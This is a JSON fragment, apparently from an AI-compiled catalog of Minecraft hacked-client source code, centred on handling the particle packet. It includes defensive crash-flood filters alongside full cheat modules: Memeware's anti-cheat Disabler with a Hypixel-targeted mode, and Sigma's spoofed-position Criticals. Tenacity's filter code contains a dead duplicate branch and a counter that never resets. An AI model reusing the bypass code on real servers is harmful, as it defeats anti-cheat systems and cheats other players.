      "p": "Particle floods are a classic client-crash vector: a server sends one S2A with a huge count or repeated packets, and the client spawns thousands of entities per tick. Anti-cheat servers also use particle bursts as visual flags for cheaters (crit particles on KillAura, etc.). Client defenses range from blanket cancellation (Memeware) to rate limiting (Rise ParticleCheck: accumulate count, drain 6 per packet, cap 150, drop over 100) to heuristic drops (Tenacity: speed >= 1 or count > 1). The trade-off is visibility: aggressive cancellation hides legitimate gameplay effects."
     }
    ],
    "overview": "The particle broadcast packet, and the only one of the six where client defense depth actually shows: blanket cancel (Memeware), selective cancel (Rise 5.99 slime mode), distance culling (Rise 6.x performance component), flood rate limiting (Rise 6.x ParticleCheck), and crash heuristics (Tenacity AntiExploit). Sigma's Criticals skips it inside its packet state machine.",
    "server_handling": "WorldServer.spawnParticle builds one S2APacketParticles per batch with particle type, longDistance flag, x/y/z floats, three offset floats, speed, count, and a varint data array. It sends via ConfigurationManager.sendToAllNear (radius 512 when longDistance, else 32). NetHandlerPlayClient.handleParticles then loops count times through clientWorldController.spawnParticle, which is where a flood becomes a client-side hang. No server-side cap exists on count in vanilla 1.8.9.",
    "protocol_notes": "Encoding: String particle name, boolean longDistance, float x, float y, float z, float offsetX, float offsetY, float offsetZ, float speed, int count, then a varint-length int array of particle arguments used only by iconcrack and blockcrack. The name is read with readStringFromBuffer(64). Count 0 is special: offsets become velocity for a single particle. The packet was introduced in 1.8 with the EnumParticleTypes refactor that replaced the older string-only effect packets.",
    "anticheat_landscape": "Anti-cheats use particles as a side channel rather than flagging the packet itself: critical-hit particles around a target are evidence for killaura checks on servers that render them. The client-side countermeasures here are defensive, not evasive. The interesting tension is Rise ParticleCheck's accumulator: it treats particle arrival as a budget (drain 6 per packet, cap 150, drop when the bucket exceeds 100), which keeps normal combat particles while killing flood attempts. Blanket cancels (Memeware) trade all particle feedback for stability.",
    "modules": [
     {
      "name": "Disabler (particle cancel)",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99"
      ],
      "purpose": "Remove particle traffic client-side: blanket in Memeware, selective slime-only in Rise 5.99.",
      "how_it_works": "Memeware's Disabler registers a PacketInEvent consumer that cancels every S2A it sees, unconditionally, regardless of mode. Rise 5.99's Disabler, in HypixelSlime mode, checks the particle type and cancels only EnumParticleTypes.SLIME. Nekoware's Disabler imports the class but ships no active particle handler in the file.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/exploit/Disabler.java =====\npackage me.memewaredevs.client.module.exploit;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.PacketInEvent;\nimport me.memewaredevs.client.event.events.PacketOutEvent;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.ChatUtil;\nimport me.memewaredevs.client.util.misc.Timer;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S2APacketParticles;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.Queue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.function.Consumer;\n\npublic class Disabler extends Module {\n\n    private static final int VERUS_DISABLE_AUTOBAN_CHANNEL = 65536;\n    private static final short VERUS_DISABLE_AUTOBAN_UID = 32767;\n    private final Queue<Packet> packetQueue = new ConcurrentLinkedQueue();\n    private final Timer timer = new Timer();\n    private final Timer timer1 = new Timer();\n\n    public Disabler(final String name, final int key, final Module.Category category) {\n        super(name, key, category);\n        this.addModes(\"Mineplex Combat\", \"Transaction\", \"Latest Verus\", \"PvPTemple\", \"OmegaCraft\", \"Timer\", \"AACv1.9.10\", \"Sloth\", \"Ghostly\", \"Watchdog\", \"Faithful Movement\");\n    }\n\n    @Override\n    public void onDisable() {\n        packetQueue.clear();\n    }\n\n    @Override\n    public void onEnable() {\n        timer.reset();\n    }\n\n    @Handler\n    public Consumer<PacketInEvent> packetInEventConsumer = (event) -> {\n        if (isMode(\"Sloth\")) {\n            if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n                S08PacketPlayerPosLook playerPosLook = (S08PacketPlayerPosLook) event.getPacket();\n                /**\n                 * Works alongside with the spigot exploit.\n                 * Exploit PlayerData bug (Player data gets set to null if the previous event is cancelled, and y difference <= 1.0E-4)\n                 */\n                playerPosLook.y += 1.0E-4;\n            }\n        }\n    };\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer = (event) -> {\n        if (isMode(\"Latest Verus\")) {\n            if (timer.delay(490L)) {\n                if (!packetQueue.isEmpty()) {\n                    PacketUtil.sendPacketSilent(packetQueue.poll());\n                }\n                timer.reset();\n            }\n        }\n\n        if (isMode(\"OmegaCraft\")) {\n            PacketUtil.sendPacketSilent(new C0FPacketConfirmTransaction(VERUS_DISABLE_AUTOBAN_CHANNEL, VERUS_DISABLE_AUTOBAN_UID, true));\n        }\n\n        if (isMode(\"PvPTemple\")) { // Added by Auth\n            event.setGround(false);\n            event.setY(event.getY() + 0.42);\n            event.setYaw(0);\n            event.setPitch(0);\n        }\n\n        if (isMode(\"Watchdog\")) {\n            if (timer.delay(15000L)) {\n                if (!packetQueue.isEmpty()) {\n                    PacketUtil.sendPacketSilent(packetQueue.poll());\n                }\n                timer.reset();\n            }\n        }\n\n    };\n\n    @Handler\n    public Consumer<PacketInEvent> eventConsumer0 = (event) -> {\n        if (event.getPacket() instanceof S2APacketParticles) {\n            event.cancel();\n        }\n    };\n\n    @Handler\n    public Consumer<PacketOutEvent> eventConsumer1 = (event) -> {\n\n        if (isMode(\"Mineplex Combat\"))\n            if (event.getPacket() instanceof C00PacketKeepAlive) {\n                C00PacketKeepAlive packetKeepAlive = (C00PacketKeepAlive) event.getPacket();\n                packetKeepAlive.key -= RandomUtils.nextInt(3, 128);\n            }\n\n        if (isMode(\"OmegaCraft\"))\n            if (event.getPacket() instanceof C0FPacketConfirmTransaction)\n                event.cancel();\n\n        if (isMode(\"Latest Verus\")) {\n            if (event.getPacket() instanceof C0FPacketConfirmTransaction) {\n                C0FPacketConfirmTransaction c0fPacketConfirmTransaction = (C0FPacketConfirmTransaction) event.getPacket();\n                packetQueue.add(c0fPacketConfirmTransaction);\n                event.cancel();\n            }\n\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                C03PacketPlayer c03 = (C03PacketPlayer) event.getPacket();\n                if (mc.thePlayer.ticksExisted % 33 == 0) {\n                    c03.y = -0.911;\n                    c03.onGround = false;\n                    c03.field_149480_h = false;\n                }\n            }\n\n            if (mc.thePlayer != null && mc.thePlayer.ticksExisted <= 7) {\n                timer.reset();\n                packetQueue.clear();\n            }\n        }\n\n        if (isMode(\"Timer\") && event.getPacket() instanceof C03PacketPlayer) {\n            if (mc.thePlayer.ticksExisted % 3 != 0) {\n                event.cancel();\n            }\n        }\n        if (isMode(\"AACv1.9.10\")) {\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                PacketUtil.sendPacketSilent(new C0CPacketInput());\n                C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                /**\n                 * Resets all checks VL due to a bug in critical hit check\n                 */\n                packetPlayer.y += 7.0E-9D;\n            }\n        }\n\n        if (isMode(\"Sloth\")) {\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                if (!timer.delay(1000L)) {\n                    for (int i = 0; i < 10; ++i) {\n                        double y = i > 2 && i < 8 ? 11 : 120;\n                        PacketUtil.sendPacketSilent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - y, mc.thePlayer.posZ, true));\n                    }\n                } else {\n                    //set to default jump value so viper can stop fucking value patching it\n                    packetPlayer.y += 0.42F;\n                }\n            }\n        }\n        if (isMode(\"Faithful Movement\")) {\n            if (mc.thePlayer != null && event.getPacket() instanceof C00PacketKeepAlive) {\n                C00PacketKeepAlive packetKeepAlive = (C00PacketKeepAlive) event.getPacket();\n                packetKeepAlive.key -= 31;\n            }\n        }\n\n\n        if (isMode(\"Ghostly\")) { // Ghostly Disabler added by Auth\n            if (event.getPacket() instanceof C03PacketPlayer)\n                PacketUtil.sendPacketSilent(new C0CPacketInput());\n            if (event.getPacket() instanceof C0FPacketConfirmTransaction)\n                event.cancel();\n        }\n        if (isMode(\"Watchdog\")) {\n//            PacketUtil.sendPacketSilent(new C0EPacketClickWindow());\n            if (mc.getCurrentServerData().serverIP.contains(\"hypixel.net\")) {\n                if (mc.thePlayer.ticksExisted % 30 == 0) {\n                    PlayerCapabilities pc = new PlayerCapabilities();\n                    pc.isFlying = true;\n                    pc.setFlySpeed(Float.NaN);\n                    PacketUtil.sendPacketSilent(new C13PacketPlayerAbilities(pc));\n                }\n                System.out.println(event.getPacket());\n                if (event.getPacket() instanceof C0FPacketConfirmTransaction) {\n                    event.setPacket(new C0FPacketConfirmTransaction(Integer.MIN_VALUE, Short.MAX_VALUE, true));\n                }\n            } else {\n                ChatUtil.printChat(\"You must be on Hypixel to use Watchdog Disabler!\");\n                this.toggle();\n            }\n        }\n    };\n}\n\n// NOTE (AI): The S2A handler is a standalone PacketInEvent consumer (lines ~92-97) that cancels all particle packets. The rest of the module is the mode-switching keepalive/transaction disabler.",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/exploit/Disabler.java",
      "vanilla_hook": "PacketInEvent (custom event bus).",
      "anti_cheat_notes": "Invisible server-side: cancelled clientbound packets are never acknowledged. The cost is losing all particle feedback, which some servers use as hit indicators.",
      "variations": "Rise 5.99 restricts the cancel to SLIME particles in the HypixelSlime mode. Nekoware v1 private imports S2APacketParticles in its Disabler but has no handler using it (dead import)."
     },
     {
      "name": "ParticleDistanceComponent (performance)",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Drop particle packets whose origin is more than 6 blocks away to save GPU work.",
      "how_it_works": "A Component (non-module system) listening on PacketReceiveEvent. For each S2A it computes the squared distance from the player to the packet origin and cancels the packet when distanceSq >= 36, i.e. 6 blocks. Particles closer than 6 blocks pass through untouched.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/performance/ParticleDistanceComponent.java =====\npackage com.alan.clients.component.impl.performance;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S2APacketParticles;\n\npublic class ParticleDistanceComponent extends Component {\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S2APacketParticles) {\n            final S2APacketParticles wrapper = ((S2APacketParticles) packet);\n\n            final double distance = mc.thePlayer.getDistanceSq(wrapper.getXCoordinate(), wrapper.getYCoordinate(), wrapper.getZCoordinate());\n\n            if (distance >= 36) {\n                event.setCancelled();\n            }\n        }\n    };\n}\n\n// NOTE (AI): Components run in the same packet pipeline as modules but are always-on infrastructure. The 36 threshold is a squared-distance comparison, so the real cutoff is sqrt(36) = 6 blocks.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/performance/ParticleDistanceComponent.java",
      "vanilla_hook": "PacketReceiveEvent (EventLink listener).",
      "anti_cheat_notes": "No anti-cheat exposure; it is a pure client-performance filter. Aggressive distance culling can hide distant particle cues like explosions or beacon effects.",
      "variations": "Identical file in Rise 6.1.30 under com/alan/clients/component/impl/performance/."
     },
     {
      "name": "ParticleCheck (security)",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Rate-limit inbound particle volume so a malicious server cannot crash the client with a flood.",
      "how_it_works": "A SecurityFeature. For each S2A it adds the packet's particle count to an accumulator, drains 6 per packet, and clamps the bucket at 150. The packet is dropped when the bucket exceeds 100, or when count is < 1, |count| > 20, or speed is negative or above 1000. Normal combat particles pass because their per-packet counts are small.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/ParticleCheck.java =====\npackage com.alan.clients.security.impl;\n\nimport com.alan.clients.security.SecurityFeature;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S2APacketParticles;\n\npublic final class ParticleCheck extends SecurityFeature {\n\n    private int particles;\n\n    public ParticleCheck() {\n        super(\"ParticleCheck\", \"Server attempted to crash the client with a large amount of particles\");\n    }\n\n    @Override\n    public boolean handle(final Packet<?> packet) {\n        if (packet instanceof S2APacketParticles) {\n            final S2APacketParticles wrapper = ((S2APacketParticles) packet);\n\n            particles += wrapper.getParticleCount();\n            particles -= 6;\n            particles = Math.min(particles, 150);\n\n            return particles > 100 || wrapper.getParticleCount() < 1 || Math.abs(wrapper.getParticleCount()) > 20 ||\n                    wrapper.getParticleSpeed() < 0 || wrapper.getParticleSpeed() > 1000;\n        }\n\n        return false;\n    }\n}\n\n// NOTE (AI): The bucket math (add count, drain 6, clamp 150, flag over 100) is a token-bucket rate limiter with generous headroom for legit gameplay particles.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/ParticleCheck.java",
      "vanilla_hook": "Security pipeline handle(Packet) on the receive path.",
      "anti_cheat_notes": "Defends the client against particle-crash exploits. The drain rate and 100-threshold are tuned so that even heavy combat (crit, sweep, potion particles) never trips it.",
      "variations": "Identical file in Rise 6.1.30. Tenacity 6.0 AntiExploit implements the same idea with simpler heuristics (see its own entry)."
     },
     {
      "name": "AntiExploit (particle flood)",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Cancel particle packets that look like crash attempts while logging the block.",
      "how_it_works": "A PacketReceiveEvent handler. For S2A it cancels and prints 'Blocked Exploit: Particles' when |particleSpeed| >= 1, or 'Blocked Exploit: Crash' when particleCount > 1. The module bundles several crash-vector filters (resource pack URLs, camera spectate, explosion strength) with a shared 100-packet-per-second counter.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java =====\npackage dev.tenacity.module.impl.misc;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.util.misc.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.*;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\npublic class AntiExploit extends Module {\n\n\n\n    private long lastExplosion = 0, lastExperience = 0;\n    private int invalidExperience = 0;\n   final int PACKET_THRESHOLD = 100;\n    final long CHECK_INTERVAL = 1000;\n    int packetCount = 0;\n\n    public AntiExploit() {\n        super(\"AntiExploit\", \"Prevents server exploits\", ModuleCategory.MISC);\n    }\n\n    private final IEventListener<PacketReceiveEvent> onReceivePacket = event -> {\n        Packet<?> packet = event.getPacket();\n        handlePacketCount();\n        if(packet instanceof S48PacketResourcePackSend) {\n            S48PacketResourcePackSend resourcePack = (S48PacketResourcePackSend) packet;\n\n            try {\n                URI uri = new URI(resourcePack.getURL());\n                String scheme = uri.getScheme();\n\n                boolean isLevelProtocol = scheme.equalsIgnoreCase(\"level\");\n                boolean isHttpProtocol = scheme.equalsIgnoreCase(\"http\");\n                boolean isHttpsProtocol = scheme.equalsIgnoreCase(\"https\");\n\n                if(!isHttpProtocol && !isHttpsProtocol && !isLevelProtocol) {\n                    ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                    event.cancel();\n                } else if(isLevelProtocol && (resourcePack.getURL().contains(\"..\") || !((S48PacketResourcePackSend) packet).getURL().endsWith(\"/resources.zip\"))) {\n                    ChatUtil.print(\"§cBlocked Exploit: File Access\");\n                    event.cancel();\n                    mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n                }\n            } catch (URISyntaxException exception) {\n                ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                event.cancel();\n                mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            }\n        } else if(packet instanceof S43PacketCamera && !mc.thePlayer.isSpectator()) {\n            ChatUtil.print(\"§cBlocked Exploit: Crash\");\n            event.cancel();\n        } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n            if(Math.abs(particles.getParticleSpeed()) >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(((S2APacketParticles) packet).getParticleCount() > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        } else if(packet instanceof S27PacketExplosion) {\n            S27PacketExplosion explosion = (S27PacketExplosion) packet;\n\n            if(Math.abs(explosion.getStrength()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(System.currentTimeMillis() - lastExplosion <= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n\n            if(Math.abs(particles.getParticleSpeed()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(particles.getParticleCount() >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        }\n\n            lastExplosion = System.currentTimeMillis();\n        } else if(packet instanceof S18PacketEntityTeleport) {\n            S18PacketEntityTeleport teleport = (S18PacketEntityTeleport) packet;\n\n            double packetX = Math.abs(teleport.getX());\n            double packetY = Math.abs(teleport.getY());\n            double packetZ = Math.abs(teleport.getZ());\n\n            if(packetX > 30000000 || packetY > 30000000 || packetZ > 30000000) {\n                ChatUtil.print(\"§cBlocked Exploit: Teleport\");\n                event.cancel();\n            }\n        } else if(packet instanceof S11PacketSpawnExperienceOrb) {\n            if(System.currentTimeMillis() - lastExperience <= 1) {\n                invalidExperience++;\n\n                if(invalidExperience >= 2) {\n                    ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                    event.cancel();\n                }\n            } else {\n                invalidExperience = 0;\n            }\n            lastExperience = System.currentTimeMillis();\n        }\n\n    };\n\n    private void triggerKick() {\n        ChatUtil.print(\"§cAbnormal packet activity detected. Kicking player...\");\n    }\n        private void handlePacketCount() {\n            long currentTime = System.currentTimeMillis();\n\n            long lastPacketCheckTime = 0;\n            if (currentTime - lastPacketCheckTime > CHECK_INTERVAL) {\n                packetCount = 0;\n                lastPacketCheckTime = currentTime;\n            }\n            packetCount++;\n            if (packetCount > PACKET_THRESHOLD) {\n                triggerKick();\n                packetCount = 0;\n        }\n\n    }\n\n}\n\n// NOTE (AI): The particle branch (lines ~59-64) is deliberately blunt: any packet with speed >= 1 or count > 1 is killed. Normal ambient particles have near-zero speed and count 1, so the filter is safe in practice.",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java",
      "vanilla_hook": "PacketReceiveEvent (IEventListener).",
      "anti_cheat_notes": "The heuristic is aggressive enough that servers emitting unusual particle effects (custom enchant glints, heavy weather) get filtered. ChatUtil.print spam on each block is a minor DoS surface by itself.",
      "variations": "Rise 6.x uses the token-bucket ParticleCheck instead; Tenacity's version trades precision for simplicity."
     },
     {
      "name": "Criticals (packet skip)",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Keep S2A out of the critical-hit packet state machine so it cannot reset the spoofed-position sequence.",
      "how_it_works": "In the EventPacket branch of Criticals, an early return fires when the packet is S2A, so particle broadcasts never reach the transaction/position logic below. The handler's state machine tracks C0F transactions and C03 position packets to trigger criticals; particle noise would otherwise be type-checked pointlessly.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/combat/Criticals.java =====\npackage info.sigmaclient.module.impl.combat;\n\nimport tv.twitch.chat.Chat;\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventAttack;\nimport info.sigmaclient.event.impl.EventJump;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventStep;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.MoveUtils;\nimport info.sigmaclient.management.notifications.Notifications;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Options;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.module.impl.movement.Bhop;\nimport info.sigmaclient.module.impl.movement.LongJump;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport info.sigmaclient.util.misc.Timer;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S2APacketParticles;\n\npublic class Criticals extends Module {\n\n    public static String PACKET = \"MODE\";\n    static String HURTTIME = \"HURTTIME\";\n    public static String MODE = \"\";\n    Timer lastStep = new Timer();\n    Timer timer = new Timer();\n    int groundTicks, stage, count;\n    double y;\n    //0.0625101D\n    \n    public Criticals(ModuleData data) {\n        super(data);\n        settings.put(PACKET, new Setting<>(PACKET, new Options(\"Mode\", \"Packet\", new String[]{\"Packet\", \"HPacket\", \"Minis\", \"HMinis\", \"Hover\", \"Jump\"}), \"Critical attack method.\"));\n        settings.put(HURTTIME, new Setting<>(HURTTIME, 15, \"The hurtTime tick to crit at.\", 1, 0, 20));\n    }\n    @Override\n    public void onEnable() {\n    \tstage = 0;\n    \tString mm = ((Options) settings.get(PACKET).getValue()).getSelected();\n    \tcount = 0;\n    \tif(mm.equalsIgnoreCase(\"Packet\") || mm.equalsIgnoreCase(\"Minis\")){\n   \t\t if (mc.getCurrentServerData() != null && mc.getCurrentServerData().serverIP.toLowerCase().contains(\"hypixel\")){\n   \t\t\t Notifications.getManager().post(\"Warning\", mm + \" criticals doesn't bypass on Hypixel.\", Notifications.Type.WARNING);\n   \t\t }\n   \t}\n    }\n    @Override\n    @RegisterEvent(events = {EventPacket.class, EventUpdate.class, EventJump.class, EventAttack.class, EventStep.class})\n    public void onEvent(Event event) {\n        if(event instanceof EventStep){\n        \tEventStep es = (EventStep)event;\n        \n        \tif(!es.isPre()){\n        \t\tlastStep.reset();\n        \t\tif(!mc.thePlayer.isCollidedHorizontally){\n        \t\t\ty = mc.thePlayer.boundingBox.minY;\n        \t\t\tstage = 0;\n        \t\t}\n        \t}\n        }\n        if (event instanceof EventUpdate) {\n        \tEventUpdate em = (EventUpdate)event;\n            setSuffix(((Options) settings.get(PACKET).getValue()).getSelected() + \" \" + ((Number) settings.get(HURTTIME).getValue()).intValue());\n            if(MoveUtils.isOnGround(0.001)){\n            \tgroundTicks ++;\n            }else if(!mc.thePlayer.onGround){\n            \tgroundTicks = 0;\n            }\n           \n            if(!MODE.equalsIgnoreCase(((Options) settings.get(PACKET).getValue()).getSelected())){          \t\n            \tMODE = ((Options) settings.get(PACKET).getValue()).getSelected();\n            \tif(MODE.equalsIgnoreCase(\"Packet\") || MODE.equalsIgnoreCase(\"Minis\")){\n            \t\t if (mc.getCurrentServerData() != null && mc.getCurrentServerData().serverIP.toLowerCase().contains(\"hypixel\")){\n            \t\t\t Notifications.getManager().post(\"Warning\", MODE + \" criticals doesn't bypass on Hypixel.\", Notifications.Type.WARNING);\n            \t\t }\n            \t}\n        \t}\t\n            if(!MODE.equalsIgnoreCase(\"Packet\") && !MODE.equalsIgnoreCase(\"HPacket\")){\n            \tsetSuffix(((Options) settings.get(PACKET).getValue()).getSelected());\n            }\n            if(em.isPre() && MODE.equalsIgnoreCase(\"Hover\")){\n        \t\tmc.thePlayer.lastReportedPosY = 0;\n    \t\t\tdouble ypos = mc.thePlayer.posY;\n        \t\tif(MoveUtils.isOnGround(0.001)){\n        \t\t\tem.setOnGround(false);\n        \t\t\tif(stage == 0){\n        \t\t\t\ty = ypos + 1E-8;\n        \t\t\t\tem.setOnGround(true);\n        \t\t\t}else if(stage == 1)\n        \t\t\t\ty-= 5E-15;\n        \t\t\telse\n        \t\t\t\ty-= 4E-15;\n        \t\t\t\n        \t\t\tif(y <= mc.thePlayer.posY){\n        \t\t\t\tstage = 0;\n        \t\t\t\ty = mc.thePlayer.posY;\n        \t\t\t\tem.setOnGround(true);\n        \t\t\t}\n        \t\t\tem.setY(y);\n        \t\t\tstage ++;\n        \t\t}else\n        \t\t\tstage = 0;\n        \t\t\n            }\n        }\n        if (event instanceof EventPacket) {\n            EventPacket ep = (EventPacket) event;\n            Packet p = ep.getPacket();\n         \n            if (p instanceof S2APacketParticles ) {\n            \n                return;\n            }\n            if(p instanceof S08PacketPlayerPosLook){\n\t\t    \tstage = 0;\n            }\n            if(p instanceof C0FPacketConfirmTransaction){\n            \tC0FPacketConfirmTransaction packet = (C0FPacketConfirmTransaction)p;\n            \tboolean accepted = packet.isAccepted();\n            \tint uid = packet.getId();\n            \tif(accepted && uid == 0){\n        \t\t\tcount ++;\n        \t\t\tif(Killaura.target != null){\n        \t\t\t//\tep.setCancelled(true);\n        \t\t\t}\n            \t}\t\t\n            }\n            if(p instanceof C03PacketPlayer && ep.isPre()){\n            \tC03PacketPlayer pa = (C03PacketPlayer)p;\n            \tdouble y = pa.y;\n            \tif(timer.getTime() == 0)\n            \tif(MODE.equalsIgnoreCase(\"HPacket\")){\n                \t//ep.setPacket(new C03PacketPlayer(true));\n            \t}\n            \t\n            }\n        }\n        if(event instanceof EventJump){\n        \tEventJump ej = (EventJump)event;\n        \tif(ej.isPre()){\n        \t\t if (Killaura.isSetupTick() && Client.getModuleManager().isEnabled(Killaura.class)) {\n        \t        \tif(MODE.equalsIgnoreCase(\"minis\") || MODE.equalsIgnoreCase(\"HMinis\")){\n        \t        \t\t//if minis criticals is not on ground, send packet onground to be able to jump\n        \t        \t\tMinecraft.getMinecraft().thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(\n        \t        \t\t\t\tmc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true));\n        \t        \t}\n        \t\t }\n        \t}\n        }\n        if(event instanceof EventAttack){\n        \tEventAttack ea = (EventAttack)event;\n        \tif(ea.isPreAttack()){\n        \t      if( ea.getEntity() != null){        \t        \n        \t        \tif(mc.thePlayer.onGround && MoveUtils.isOnGround(0.001) && !(Client.getModuleManager().isEnabled(LongJump.class) || Client.getModuleManager().isEnabled(Bhop.class))){\n        \t        \t\t if(MODE.equalsIgnoreCase(\"Packet\") || MODE.equalsIgnoreCase(\"HPacket\")){\n        \t                     if( ea.getEntity().hurtResistantTime <= ((Number) settings.get(HURTTIME).getValue()).doubleValue() && lastStep.check(20)\n        \t                    \t\t && (timer.check(200) || ea.getEntity().hurtResistantTime > 0) && mc.thePlayer.isCollidedVertically){\n        \t                    \t if(groundTicks > 1){\n        \t                    \t\t doCrits(); \n        \t                    \t }\n        \t                    \t\n        \t                     }\n        \t        \t\t }else if (!mc.thePlayer.isJumping && ((Options) settings.get(PACKET).getValue()).getSelected().equalsIgnoreCase(\"Jump\")){\n        \t        \t\t\t mc.thePlayer.jump();\n        \t        \t\t }\n        \t        \t\t timer.reset();\n        \t        \t\t \n        \t        \t}\n        \t        }  \n        \t}\n        }\n    }\n\n    private boolean hurtTimeCheck(Entity entity) {\n        return entity != null && entity.hurtResistantTime <= ((Number) settings.get(HURTTIME).getValue()).intValue();\n    }\n\n    public static void doCrits() {\n    \t//0.0625 , 17.64e-8 \n    \tdouble off = 0.0626;\n\t\tdouble x = mc.thePlayer.posX; double y = mc.thePlayer.posY; double z = mc.thePlayer.posZ;\n\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y+off, z, false));\n\t\tif(MODE.equalsIgnoreCase(\"HPacket\")){\n\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y+off+0.00000000001, z, false));\n\t\t}\n\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, false));\n    \t\n    \t\n    } \n\n}\n\n// NOTE (AI): The S2A guard (lines ~124-127) is a bare return inside the EventPacket handler. The module cares about C0FPacketConfirmTransaction and C03PacketPlayer; particles are skipped as irrelevant traffic.",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/combat/Criticals.java",
      "vanilla_hook": "EventPacket (Sigma event bus, pre/post).",
      "anti_cheat_notes": "Skipping particles has no anti-cheat effect; it is a micro-optimization and a guard against future code paths that might misinterpret clientbound noise.",
      "variations": "No other client in the corpus touches S2A from a combat module."
     }
    ],
